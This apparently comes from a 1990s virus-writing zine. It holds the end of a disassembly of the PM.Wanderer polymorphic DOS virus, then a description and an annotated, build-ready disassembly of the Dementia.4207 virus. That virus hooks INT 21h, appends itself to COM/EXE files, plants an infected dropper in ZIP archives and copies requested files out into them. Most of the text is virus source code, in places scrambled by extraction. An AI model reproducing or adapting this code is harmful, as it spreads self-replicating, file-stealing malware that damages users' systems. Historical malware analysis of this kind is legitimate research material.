|^Number of bytes in this blocks Number of fix functions CDh : 11111111b ||^^^^^^Generation probabilty of this block when selected |Can be in a loop? (1=yes) Can be generated? (1=always, 0=depend of previous generations) EFh |^Byte to fix Function to use [...]

| | Number of fixes | |

GHh [...]

| List of opcodes in the block |

(byte 0)

garbage_table: ; TEST ??,imm8 : db db db db db db db

23h 0FFh F_I_MODRM + 1 F_G_BYTE + 2 0F6h 0 0

; ; ; ; ; ; ;

2 fixes, Generate Function Function byte 0 byte 1 byte 2

3 bytes always, in loop, 100% F_I_MODRM in byte 1 F_G_BYTE in byte 2

; 1 byte opcodes (CLC, STC, CLI, STI, CLD, STD) : db 11h db 0FFh db F_ADD_0_5 + 0 db 0F8h ; Jxx : db db db db db ; Arithmetic ops : db db db DB db db db db

12h 7Fh ; Don't gen a Jxx when another is being gen F_G_JXX + 1 70h 0

24h 0FFh F_I_OP_REG + 1 F_G_WORD + 2 81h 0C0h 0 0

; DEC reg : db db db db ; NOP or XCHG AX,reg : db db db db ; ROL,ROR,RCL,... reg,1

11h 0FFh F_I_REG + 0 48h

11h 0FFh F_I_REG + 0 90h

db db db db db ; NOP or XCHG AX,reg : db db db db

12h 0FFh F_I_OP_REG + 1 0D1h 0C0h This entry is duplicated !? 11h 0FFh F_I_REG + 0 90h

; NEG reg : db db db db db

12h 0FFh F_I_REG + 1 0F7h 0D8h

db db db db db

12h 0FFh F_I_REGRMMOD + 1 38h 0

db db db db db db db

23h 0FFh F_I_REG + 0 F_G_WORD + 1 0B8h 0 0

db db db db

11h 0FFh F_I_REG + 0 40h

db db db db db

12h 0FFh F_G_BYTE + 1 0E4h 0

; CMP xx,reg :

; MOV reg,xxxx :

; INC reg :

; IN AL,xx :

; MOV reg8,[xxxx] : db db db db db db db db

24h 0FFh F_I_REG_PRESERVE_MODRM + 1 F_G_WORD + 2 8Ah 6 0 0

; CMP byte ptr [reg+(reg)+imm16],imm8 : db 35h db 0FFh db F_I_RM + 1 db F_G_WORD + 2

db db db db db db

F_G_BYTE + 4 80h 0B8h 0 0 0

db db db db db

12h 0FFh F_I_REG + 1 0F7h 0D0h

db db db db db

12h 0FFh F_I_REGRMMOD + 1 0Ah 0

db

4Eh

db db dw db db db db db

0 0 0 4 81h 86h 80h 0

; NOT reg :

; OR reg,...

jmp_ofs garbagetogen reg_sp reg_counter indexreg_op2 in_loop

; End of garbage table mark

; Wasted byte! ; SP register

; Wasted byte!

initialize_random_seed: pusha mov ah,2Ch call int_21h ; Get current time mov cs:random1,cx ; Hours + minutes mov cs:random2,dx ; Seconds + hundredths of second popa ret get_n_random: pusha call mov mov mul mov mov mul add adc mov popa ret

; Returns pseudo-random value in [0..(AX-1)] get_random bx,sp cx,dx word ptr ss:[bx+0Eh] ax,cx cx,dx word ptr ss:[bx+0Eh] ax,cx dx,0 ss:[bx+0Eh],dx

get_random:

mov

mov mov cx,ax mul

ax,cs:random1 bx,cs:random2 cs:mult_const

shl add add add shl add add shl add add adc

cx,3 ch,cl dx,cx dx,bx bx,2 dx,bx dh,bl bx,5 dh,bl ax,1 dx,0 mov mov

cs:random1,ax cs:random2,dx

ret

mult_const dw random1 dw random2 dw encryptor_ptr dw ofs_endencryptor dw

8405h 0 0 offset(end_encryptor) offset(end_encryptor)

kill_copy4infection: call set_ds mov ax,ss mov es,ax mov esi,cs:page_1 mov ds:[esi+infecting],0 assume cs:data0 mov esp,cs:_esp assume cs:wanderer mov edi,esp mov ecx,STACK_SIZE/4 cld db 0F3h,66h,67h,0A5h push pop xor

; Can infect again

; rep movsd (TASM FIX) ; Restore stack

ds es ebp,ebp mov esi,90h ; Restore pages allocated by infection procedure

l_restore_pages: mov call inc inc cmp jne exit_21h: xor mov mov popad

edx,cs:old_pages[ebp*4] map_page esi ; Next 4KB bp ; Next page bp,3 ; old_page1,2 and 3 restored? l_restore_pages ; No? then jmp

ax,ax ds,ax es,ax iretd

; Return to original caller

; Format of a Page Table Entry ; ; 31 12 11 0 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÑÍÍÍÑÍÑÍÑÍÍÍÑÍÑÍÑÍ» ; º ³ ³ ³ ³ ³ ³U³R³ º ; º PAGE FRAME ADDRESS 31..12 ³ AVAIL ³0 0³D³A³0 0³/³/³Pº ; º ³ ³ ³ ³ ³ ³S³W³ º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÏÍÍÍÏÍÏÍÏÍÍÍÏÍÏÍÏͼ

; ; ; ; ; ; ;

P - PRESENT R/W - READ/WRITE U/S - USER/SUPERVISOR D - DIRTY AVAIL - AVAILABLE FOR SYSTEMS PROGRAMMER USE NOTE: 0 INDICATES INTEL RESERVED. DO NOT DEFINE.

map_page:

mov mov mov ret

mov edi,cs:pagetable mov ebx,[edi][esi*4] dl,67h mov [edi][esi*4],edx eax,cr3 cr3,eax

; Read page in page table ; Store new page in page table

setup_system_regs: movzx ebx,ds:virus_cs shl ebx,4 add ebx,offset(GDTR) ; Calculate GDTR phys address mov ds:addr_GDTR,ebx add ebx,IDTR-GDTR ; Calculate IDTR phys address add ds:addr_IDTR,ebx mov cx,ds:addr_dir_page mov es,cx shr cx,8 mov ax,0DE06h ; VCPI - Get dir page phys addr in 1st MB call VCPI mov ds:_CR3,edx ; EDX = physical address of dir page mov ax,0DE06h ; VCPI - Get phys addr of page in 1st MB mov cx,es shr cx,8 inc cx ; Addr of page table call VCPI or dl,7 ; User level, read-write, present mov es:[0],edx ; Store page table in page directory ret VCPI: int and jz pop

67h ; - LIM EMS ah,ah ; Error or VCPI not present ? no_ems_error ; No? then jmp ax jmp exec_host

no_ems_error: ret ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

DATA SEGMENT DESCRIPTOR 31 23 15 7 0 ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º ³ ³ ³ ³A³ LIMIT ³ ³ ³ TYPE ³ º º BASE 31..24 ³G³B³0³V³ 19..16 ³P³ DPL ³ ³ BASE 23..16 º 4 º ³ ³ ³L³ ³ ³ ³1³0³E³W³A³ º ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ º ³ º º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º 0 º ³ º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ EXECUTABLE SEGMENT DESCRIPTOR

; ; 31 23 15 7 0 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º ³ ³ ³ ³A³ LIMIT ³ ³ ³ TYPE ³ º ; º BASE 31..24 ³G³D³0³V³ 19..16 ³P³ DPL ³ ³ BASE 23..16 º ; º ³ ³ ³ ³L³ ³ ³ ³1³0³C³R³A³ º ; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ ; º ³ º ; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º ; º ³ º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; ; ; DESCRIPTORS USED FOR SPECIAL SYSTEM SEGMENTS ; ; 31 23 15 7 0 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÑÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º ³ ³ ³ ³A³ ³ ³ ³ ³ ³ º ; º BASE 31..24 ³G³X³O³V³ LIMIT ³P³ DPL ³0³ TYPE ³ BASE 23..16 º ; º ³ ³ ³ ³L³ 19..16 ³ ³ ³ ³ ³ º ; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ ; º ³ º ; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º ; º ³ º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; ; ; A - ACCESSED E - EXPAND-DOWN ; AVL - AVAILABLE FOR PROGRAMMERS USE G - GRANULARITY ; B - BIG P - SEGMENT PRESENT ; C - CONFORMING R - READABLE ; D - DEFAULT W - WRITABLE ; DPL - DESCRIPTOR PRIVILEGE LEVEL ; ; System and Gate descriptor types : ; ; Code Type of Segment or Gate ; 0 -reserved ; 1 Available 286 TSS ; 2 LDT ; 3 Busy 286 TSS ; 4 Call Gate ; 5 Task Gate ; 6 286 Interrupt Gate ; 7 286 Trap Gate ; 8 -reserved ; 9 Available 386 TSS ; A -reserved ; B Busy 386 TSS ; C 386 Call Gate ; D -reserved ; E 386 Interrupt Gate ; F 386 Trap Gate

build_descriptor: ; ; ; ;

shr

movzx eax,ax mov [esi][eax],bx ebx,10h

AX CX BX DX

= = = =

descriptor base address limit rights

; Limit 15..0

4

0

4

0

shr

and or

mov ecx,10h mov mov bl,0Fh dh,bl mov mov

[esi+2][eax],cx ; Base 15..0

mov mov mov mov eax,eax mov mov

eax,cs:i21h_ep dr0,eax eax,0FE05Bh dr1,eax

[esi+4][eax],cl ; Base 23..16 [esi+5][eax],dl ; Type, DPL, P,...

[esi+6][eax],dh ; Limit 19..16, AVL, G,... [esi+7][eax],ch ; Base 31..24

ret set_breakpoints:

xor

; ; mov ret

dr7,eax

mov

ax,cs add ds,ax

; Address for breakpoint 0 (int 21h) ; BIOS address: near jump to reboot ; Address for breakpoint 1

dr6,eax ; Clear dr6 (the processor never clears it) eax,00000000000000000000001000001010b ^ ^ 2 breakpoints (globals)

set_ds:

mov ret

; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ax,8

80386 INTERRUPT GATE 31 23 15 7 0 ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÑÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍ» º OFFSET 31..16 ³ P ³DPL³0 1 1 1 0³0 0 0³(NOT USED) º4 ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄĶ º SELECTOR ³ OFFSET 15..0 º0 ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ 80386 TRAP GATE 31 23 15 7 0 ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÑÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍ» º OFFSET 31..16 ³ P ³DPL³0 1 1 1 1³0 0 0³(NOT USED) º4 ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄĶ º SELECTOR ³ OFFSET 15..0 º0 ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

build_idt_descriptor:

shl

ret

mov mov ebx,10h mov mov mov mov mov mov mov mov

; On entry: ; ECX = interrupt number ; AX = address of service routine ; DI = address to store orig int & sel esi,es:IDT_base ; Access to IDT bx,[esi+6][ecx*8] ; Offset 31..16 bx,[esi][ecx*8] ; es:[di],ebx ; bx,[esi+2][ecx*8] ; es:[di+4],bx ; bx,es:virus_selector [esi+2][ecx*8],bx ; [esi][ecx*8],ax ; word ptr [esi+6][ecx*8],0

Offset 15..0 Save original int Get selector Save original selector Set new selector Set new interrupt (15..0) ; (31..16)

system_registers: _CR3 dd addr_GDTR dd addr_IDTR dd LDTR dw TR dw pm_EIP dd pm_CS dw

0 0 0 0 TSS_SEL offset(pm_entry_point) CODE_SEL

GDTR: limit_gdt base_gdt

dw dd

47h 0

IDTR: limit_idt base_idt

dw dd

0FFFFh 0

db dw dd dw

0 0 0 VCPICS_SEL

size_mcb orig_i1 sel_i1 orig_i9 sel_i9 i21h_ep virus_cs virus_selector

dw dd dw dd dw dd dw dw

? ? ? ? ? ? ? ?

pages_4K: page_1 page_2 page_3 page_4

dd dd dd dd

? ? ? ?

old_pages old_page2 old_page3

dd dd dd

? ? ?

addr_dir_page infecting pagetable

dw db dd

? ? ?

GDT: GDT_limit GDT_base

dw dd

? ?

IDT: IDT_limit IDT_base

dw dd

? ?

=

1000h

db

BUFFER_SIZE dup(?)

host_type codesegment pm_ep

virus_end:

org 1000h BUFFER_SIZE _stack: buffer1: buffer2:

; TSS selector ; Protected mode EIP ; Protected mode CS selector

header: signature image_size pages relo_items header_size mim_mem max_mem stack_seg stack_ofs checksum val_ip val_cs ofs_reloc overlays

dw dw dw dw dw dw dw dw dw dw dw dw dw dw

wanderer

ends

data0 org 0

segment use16

? ? ? ? ? ? ? ? ? ? ? ? ? ?

delta_ofs enc_buffer unused_reg saved_sp saved_ss

db dd db db db dw dw dw dw dw dw dw dw dw dd dw dw db db dw dw dw db dw dw

STACK_SIZE dup(?) ? 3Ch dup(?) ? 0Fh dup(?) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

org 0F0h copy_code

=

$

_esp end_encryptor psp_seg filetime filedate previous_ofs mask_dec_ofs mask_enc_ofs ofs_loop_begin decryptor_size max_garbage ptr_select_reg code_size operations indexreg_op1

data0 end

ends start

; End of PM.Wanderer disassembly ; (c) 1997, Tcp/29A ([email protected])

; Stack ; Buffer for encryptor ; Buffer for encryptor

Dementia.4207 ÄÄÄÄÄÄÄÄÄÄÄÄÄ It is not a dangerous memory resident encrypted parasitic virus. It hooks INT 21h, then writes itself to the end of COM and EXE files that are executed or opened. The virus contains the text strings: !#TEMP#! REQUEST.IVA RECEIPT.IVA CALLFAST.COM *.* Dementia] Copyright 1993 Necrosoft enterprises I am the man that walks alone And when I'm walking a dark road At night or strolling through the park When the light begins to change I sometimes feel a little strange A little anxious when it's dark

-

All rights reserved

While opening any ZIP file the virus scans the contents of the ZIP file for the REQUEST.IVA file. If there is no such one inside of ZIP, the virus creates the CALLFAST.COM file, writes into there the video-effect routine, infects CALLFAST.COM and appends that file to the files stored in ZIP. So the virus "infects" ZIP file, after "infection" the ZIP file contains infected copy of the virus. If there is the REQUEST.IVA file in the ZIP, and that file is of the special format (there is ID-string 92h,14h,76h,17h, and there is one or more file search pattern) the virus creates RECEIPT.IVA file, searches for the files are listed in the REQUEST.IVA file, copies them into RECEIPT.IVA, encrypts the result, and stores it into the ZIP. So the virus is able to "stole" the files from the computer and save them into the ZIP containing special REQUEST.IVA file. While processing the ZIP files the virus does not call PKZIP/PKUNZIP utilities, but parses by itself the internal ZIP format, reads/writes the ZIP records and adds new ones. While writing new data into the ZIP files the virus does not use compression, but writes it in not compressed form (ZIP method "stored"). The virus dropper (the CALLFAST.COM file) contains the routine witch displays when executed: DEMENTIA (512)PRI-VATE ú 0 day wares ú V-X 800 megs online ú USR Dual 16.8k -\- Psychotech -/ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENTIA.ASM]ÄÄ comment * Dementia.4207 Disassembly by Darkman/29A Dementia.4207 is a 4207 bytes parasitic resident COM/EXE/ZIP virus. Infects files at close file, open file and load and/or execute program by appending the virus to the infected COM/EXE file and storing in the infected ZIP file. Dementia.4207 has an error handler, 16-bit exclusive OR (XOR) encryption in file and is using archive infection technique. To compile Dementia.4207 with Turbo Assembler v 4.0 type: TASM /M DEMENTIA.ASM

TLINK /x DEMENTIA.OBJ EXE2BIN DEMENTIA.EXE DEMENTIA.COM * .model tiny .code code_begin: call delta_offset: pop add mov

delta_offset si ; Load SI from stack si,(crypt_begin-delta_offset-02h) di,si ; DI = offset of code_end - 02h

std ; Set direction flag mov cx,(crypt_begin-crypt_end-02h)/02h decrypt_key equ word ptr $+01h ; Decryption key mov dx,00h ; DX = decryption key push pop decrypt_loop: lodsw xor stosw

cs cs ds es

jmp crypt_end: loop

crypt_end

ax,dx

; Save segments at stack ; Load segments from stack (CS) ; AX = word of encrypted code ; Decrypt two bytes ; Store two plain bytes

decrypt_loop

cld push sub nop mov shr mov add push

; Clear direction flag cs ; Save CS at stack si,(crypt_end-code_begin)

lea push

ax,virus_begin ; AX = offset of virus_begin ax ; Save AX at stack

retf virus_begin: push pop

cl,04h si,cl ax,cs ax,si ax

; ; ; ; ;

Divide by paragraphs SI = offset of crypt_end in para... AX = code segment Add code segment to delta offset... Save AX at stack

; Return far! cs ds

; Save CS at stack ; Load DS from stack (CS)

pop mov

ax ; Load AX from stack (CS) [code_seg_],ax ; Store code segment

mov call cmp je

bx,1492h close_file bx,1776h virus_exit

call virus_exit: mov cmp nop je

; Dementia.4207 function ; Already resident? ; Equal? Jump to virus_exit

install ah,[com_or_exe] ; AH = COM or EXE executable? ah,00h ; COM executable? vir_com_exit

; Equal? Jump to vir_com_exit

mov mov sub mov

ax,[code_seg_] ; AX = code segment bx,[initial_cs] ; AX = initial CS relative to star... ax,bx ; Subtract initial CS relative to ... dx,ax ; DX = segment of PSP for current ...

mov add mov

bx,[code_seg] ; BX = original code segment ax,bx ; Add original code segment to seg... [code_seg],ax ; Store original code segment

xchg

ax,dx

cli mov add mov

; Clear interrupt-enable flag bx,[stack_seg] ; BX = original stack segment ax,bx ; Add original stack segment to se... ss,ax ; SS = original stack segment

mov mov sti

ax,[stack_ptr] ; AX = original stack pointer sp,ax ; SP = " " " ; Set interrupt-enable flag

mov int mov mov

ah,62h 21h ds,bx es,bx

; Get current PSP address

xor xor xor xor xor xor

ax,ax bx,bx cx,cx dx,dx si,si di,di

; ; ; ; ; ;

jmp vir_com_exit: mov lea nop movsw movsb

; AX = segment of current PSP proc...

; DS = segment of PSP for current ... ; ES = segment of PSP for current ... Zero Zero Zero Zero Zero Zero

AX BX CX DX SI DI

dword ptr cs:[instruct_ptr] di,100h si,origin_code

; DI = offset of beginning of code ; SI = offset of origin_code

; Move the original code to beginning ; " " " " " "

push

es

; Save ES at stack

mov push

ax,100h ax

; AX = offset of beginning of code ; Save AX at stack

xor xor xor xor xor xor

ax,ax bx,bx cx,cx dx,dx si,si di,di

; ; ; ; ; ;

push pop

es ds

; Save ES at stack ; Load DS from stack (ES)

retf

Zero Zero Zero Zero Zero Zero

AX BX CX DX SI DI

; Return far!

upcase_char proc near cmp al,'a' jl dont_upcase cmp al,'z' jg dont_upcase

; Upcase character ; Lowcase character? ; Less? Jump to dont_upcase ; Lowcase character? ; Greater? Jump to dont_upcase

sub dont_upcase: ret endp int21_virus proc pushf cld

al,20h

; Upcase character ; Return!

near

; Interrupt 21h of Dementia.4207 ; Save flags at stack ; Clear direction flag

cmp jne

ah,3eh ; Close file? tst_open_fil ; Not equal? Jump to tst_open_fil

cmp jne

bx,1492h tst_open_fil

; Dementia.4207 function? ; Not equal? Jump to tst_open_fil

mov

bx,1776h

; Already resident

popf iret tst_open_fil: cmp jne

; Load flags from stack ; Interrupt return! ah,3dh ; Open file tst_load_and ; Not equal? Jump to tst_load_and

cmp je

al,0ffh dementia_fun

; Dementia.4207 function ; Equal? Jump to dementia_fun

push mov

ax si si,dx

lodsb cmp je

; AL = byte of filename al,00h ; End of filename? open_fi_exit ; Equal? Jump to open_fi_exit

cmp jne

al,'.' find_dot

lodsb call cmp jne

; AL = byte of extension upcase_char al,'C' ; COM executable? tst_exe_exec ; Not equal? Jump to tst_exe_exec

lodsb call cmp jne

; AL = byte of extension upcase_char al,'O' ; COM executable? open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb call cmp jne

; AL = byte of extension upcase_char al,'M' ; COM executable? open_fi_exit ; Not equal? Jump to open_fi_exit

call

inf_com_exe

; Save registers at stack ; SI = offset of filename

find_dot:

jmp tst_exe_exec: cmp jne lodsb call cmp jne

; Found the dot in the filename ; Not equal? Jump to find_dot

open_fi_exit al,'E' tst_zip_arch

; EXE executable? ; Not equal? Jump to tst_zip_arch

; AL = byte of extension upcase_char al,'X' ; EXE executable? open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb call cmp jne

; AL = byte of extension upcase_char al,'E' ; EXE executable? open_fi_exit ; Not equal? Jump to open_fi_exit

call

inf_com_exe

jmp tst_zip_arch: cmp jne

open_fi_exit al,'Z' open_fi_exit

; ZIP archive? ; Not equal? Jump to open_fi_exit

lodsb call cmp jne

; AL = byte of extension upcase_char al,'I' ; ZIP archive? open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb call cmp jne

; AL = byte of extension upcase_char al,'P' ; ZIP archive? open_fi_exit ; Not equal? Jump to open_fi_exit

call

infect_zip

jmp open_fi_exit: pop

open_fi_exit

jmp dementia_fun: mov tst_load_and: cmp jne

tst_load_and

call int21_exit: popf

inf_com_exe

si ax

al,02h

; Dementia.4207 function

ah,4bh int21_exit

; Load and/or execute program? ; Not equal? Jump to int21_exit

; Load flags from stack

jmp endp install

; Load registers from stack

cs:[int21_addr]

proc

near

; Allocate memory, move virus to t... ; Save ES at stack

push

es

mov int

ah,52h 21h

mov

ax,es:[bx-02h]

mov

ds,ax

mov cmp je

al,ds:[00h] al,'Z' allocate_mem

mov mov add inc

ax,ds ; AX = segment of current memory c... bx,ds:[03h] ; BX = size of memory block in par... ax,bx ; Add size of memory block in para... ax ; AX = segment of next memory cont...

jmp

next_mcb

; Get list of lists

; AX = segment of first memory con...

next_mcb: ; DS = segment of current memory c... ; AL = block type ; Last block in chain? ; Equal? Jump to allocate_mem

allocate_mem: mov sub mov

bx,ds:[03h] ; BX = size of memory block in par... bx,(code_end-code_begin+0fh)/10h*02h ds:[03h],bx ; Store new size of memory control...

mov add inc mov

ax,ds ax,bx ax es,ax

; ; ; ;

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

xor xor mov rep

si,si ; Zero SI di,di ; Zero DI cx,(code_end-code_begin) movsb ; Move virus to top of memory

push

es

lea push

ax,install_ ; AX = offset of install_ ax ; Save AX at stack

retf

AX = segment Add new size AX = segment ES = "

of last memory cont... of memory block in ... of virus " "

; Save ES at stack

; Return far!

install_: push pop

cs ds

mov int mov mov

ax,3521h ; Get interrupt vector 21h 21h word ptr [int21_addr+02h],es word ptr [int21_addr],bx

lea mov int

dx,int21_virus ax,2521h 21h

pop

es

ret endp

; Save CS at stack ; Load DS from stack (CS)

; DX = offset of int21_virus ; Set interrupt vector 21h

; Load ES from stack ; Return!

inf_com_exe proc near push bp mov bp,sp sub sp,06h

; Infect COM/EXE file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

push

ax bx cx dx si di ds es

call

int24_store

call jc

open_file com_exe_exit

call and cmp je

load_info cx,0000000000011111b cx,0000000000000001b call_close ; Already infected? Jump to call_c...

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer

; Error? Jump to com_exe_exit

mov call

cx,20h read_file

mov cmp je cmp je

ax,ds:[00h] ax,'MZ' call_infect ax,'ZM' call_infect

call

infect_com

jmp call_infect: call call_mark: call call_close: call com_exe_exit: call

; Read thirty-two bytes

; AX = EXE signature ; Found EXE signature? ; Equal? Jump to call_infect ; Found EXE signature? ; Equal? Jump to call_infect

call_mark infect_exe infect_mark close_file int24_load

pop

es ds di si dx cx bx ax

mov

sp,bp

; SP = stack pointer

pop

bp

; Load BP from stack

ret endp

; Return!

infect_zip proc near push bp mov bp,sp sub sp,28h

; Infect ZIP archive ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

push

ax bx cx dx si di ds es

xor mov mov mov

ax,ax ; Didn't found file [bp-0eh],ax ; Store didn't found CALLFAST.COM [bp-10h],ax ; " " " REQUEST.IVA [bp-12h],ax ; " " " RECEIPT.IVA

call

int24_store

push lea nop call mov pop

dx ds ; Save registers at stack dx,temp_file ; DX = offset of temp_file

call jnc

open_file load_info_

jmp load_info_: mov

create_file [bp-0ah],ax ; Store file handle of !#TEMP#! ds dx ; Load registers from stack

; No error? Jump to load_info_

inf_zip_exit [bp-08h],ax

; Store file handle of ZIP file

call

load_info

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer

next_lfh_sig: mov call mov cmp je jmp test_dir_sig: mov cmp jne

cx,04h read_file

; Read four bytes

ax,ds:[00h] ax,'KP' test_dir_sig

; AX = low-order word of file head... ; Found low-order word of file ha...? ; Equal? Jump to test_dir_sig

call_mark_ ax,ds:[02h] ax,201h read_lfh

; AX = high-order word of file hea... ; Found high-order word of central... ; Not equal? Jump to read_lfh

jmp

zero_cdh_num

mov call

cx,1ah read_file

mov mov call

cx,ds:[16h] ; CX = filename length dx,20h ; DI = offset of filename read_file_

push pop

cs es

read_lfh:

lea nop mov request_loop: lodsb mov

; Read twenty-six bytes

; Save CS at stack ; Load ES from stack (CS)

di,request_iva si,20h

; DI = offset of request_iva

; SI = offset of filename

; AL = byte of filename ah,es:[di] ; AH = byte of request_iva

inc

di

; Increase index register

cmp je

ah,00h ; End of filename? found_reques ; Equal? Jump to found_reques

cmp jne

ah,al ; Byte of filename equal to byte o... find_callfas ; Not equal? Jump to find_callfas

jmp found_reques: mov mov

request_loop

xor xor call mov mov find_callfas: lea nop mov callfas_loop: lodsb mov

cx,cx ; Zero CX dx,dx ; Zero DX set_pos_cfp [bp-24h],ax ; AX = low-order word of extra field [bp-22h],dx ; DX = high-order word of extra field

ax,01h ; Found REQUEST.IVA [bp-10h],ax ; Store found REQUEST.IVA

di,callfast_com si,20h

; DI = offset of callfast_com

; SI = offset of filename

; AL = byte of filename ah,es:[di] ; AH = byte of callfast_com

inc

di

; Increase index register

cmp je

ah,00h ; End of filename? found_callfa ; Equal? Jump to found_callfa

cmp jne jmp found_callfa: mov mov find_receipt: lea nop mov receipt_loop: lodsb mov

ah,al ; Byte of filename equal to byte o... find_receipt ; Not equal? Jump to find_receipt callfas_loop ax,01h ; Found CALLFAST.COM [bp-0eh],ax ; Store found CALLFAST.COM di,receipt_iva si,20h

; DI = offset of receipt_iva

; SI = offset of filename

; AL = byte of filename ah,es:[di] ; AH = byte of receipt_iva

inc

di

cmp je

ah,00h ; End of filename? found_receip ; Equal? Jump to found_receip

cmp jne

ah,al ; Byte of filename equal to byte o... calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr

jmp found_receip: mov mov calc_lfh_ptr: mov mov mov add adc call jmp zero_cdh_num: xor mov copy_cds: mov inc mov

; Increase index register

receipt_loop ax,01h ; Found RECEIPT.IVA [bp-12h],ax ; Store found RECEIPT.IVA dx,ds:[0eh] ; DX = low-order word of compresse... cx,ds:[10h] ; CX = high-order word of compress... ax,ds:[18h] ; AX = extra field length dx,ax ; Add extra field length to compre... cx,00h ; Convert to 32-bit set_pos_cfp next_lfh_sig ax,ax ; No central directory file header... [bp-0ch],ax ; Store no central directory file ... ax,[bp-0ch] ; AX = number of central directory... ax ; Increase number of central direc... [bp-0ch],ax ; Store number of central director...

mov mov call

bx,[bp-08h] ; BX = file handle of ZIP file cx,2ah ; Read forty-two bytes read_file

mov call

bx,[bp-0ah] write_file_

mov mov add mov add

